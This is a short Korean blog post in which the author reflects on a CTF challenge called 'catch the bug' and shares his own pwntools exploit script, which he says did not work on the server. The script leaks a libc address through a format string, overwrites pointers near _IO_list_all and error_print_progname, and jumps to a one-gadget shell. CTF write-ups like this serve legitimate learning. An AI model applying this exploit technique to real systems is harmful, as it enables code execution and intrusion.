ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • catch the bug 풀이를 들었다...
    자유만담 2018. 7. 1. 22:18

    @markdown


    일단 이 문제는 내가 14시간동안 삽질한 문제.. 난 내 풀이 방식이 정석이라고 믿고 있었다.


    엄청 어렵게 생각하고 있었다 진짜 하... 사실 나는 ret 될 때 io_list_all을 참조해서 무슨 함수였지.. 기억도안난다. 



    아래는 내가 엄청 삽질한 코드이다. ( 써버에서는 안됬던 )


    ```python

    from pwn import *



    # p = process("./bug",env={"LD_PRELOAD":"./libc_2.23.so"})

    p = remote("catchthebug.eatpwnnosleep.com",55555)

    def find_bug(name,cnt):

    print p.sendlineafter(">>","1")

    if p.recv(1024) in "Name the bug":

    p.sendlineafter(">>",str(name))

    cnt += 1

    print "success!"

    else:

    print "nope!!"


    return cnt

    def report(title,subtitle,body,tag,passwd):

    print p.sendlineafter(">>","3")

    print p.sendlineafter("title",str(title))

    print p.sendlineafter("subtitle",str(subtitle))

    print p.sendlineafter("body",str(body))

    print p.sendafter("tag",str(tag))

    print p.sendlineafter("password",str(passwd))


    def show():

    print p.sendlineafter(">>","2")


    cnt = 0

    for i in range(0,5):

    if(cnt == 3):

    break;

    cnt = find_bug("%lx",cnt)

    # print cnt





    show()


    print p.recvuntil("=========================\n")

    leak = int(p.recv(14),16)

    # libc_base = leak - 0x3c56a3 #local

    libc_base = leak - 0x3DB7A3 # server

    # io_list_all = libc_base + 0x3C5520 #local

    io_list_all = libc_base + 0x3DB620 # server 

    # one = libc_base + 0xF1147 #local

    one = libc_base + 0xD9763 #server

    stdout_ptr = libc_base + 0x3C3F50

    stdout = libc_base + 0x3C5708

    buffer_s = libc_base + 0x3c4b20


    memalign_ptr = libc_base + 0x3C3EE0

    memalign_hook = libc_base + 0x3C4B00


    stdin = libc_base + 0x3c48e0


    # # local

    # argp_program_version_ptr = libc_base + 0x3c3ed0 #dq offset argp_program_version

    # error_print_progname = libc_base + 0x3C9508 


    # server 

    argp_program_version_ptr = libc_base + 0x3D9E98

    error_print_progname = libc_base + 0x3DF620



    title = "A"*63

    subtitle = "A"*127



    tag_ptr_overwrite = p64(io_list_all-71)

    tag_overwrite_data = p64(argp_program_version_ptr)# rbp


    passwd_ptr_overwrite = p64(error_print_progname)

    passwd_overwrite_data = p64(one)


    body = "P"*54 

    body += tag_ptr_overwrite #tag 

    body += passwd_ptr_overwrite




    tag = tag_overwrite_data # rax + 0x38 tag 

    passwd = passwd_overwrite_data






    report(title,subtitle,body,tag,passwd)


    print hex(leak)

    print hex(libc_base)

    # print hex(free_hook)

    # print hex(stdout)


    p.interactive()

    ```

    '자유만담' 카테고리의 다른 글

    굵직한 sctf 후기  (0) 2018.07.01
    흠 babyallocator..  (0) 2018.05.25
    내 블로그 망한건가  (5) 2018.01.23
    SECCON 갔다와서 엄청난분량의 글을 올려야겠다.  (0) 2017.01.24
    KERT 발표자료 draft  (0) 2016.12.10

    댓글

Designed by Tistory.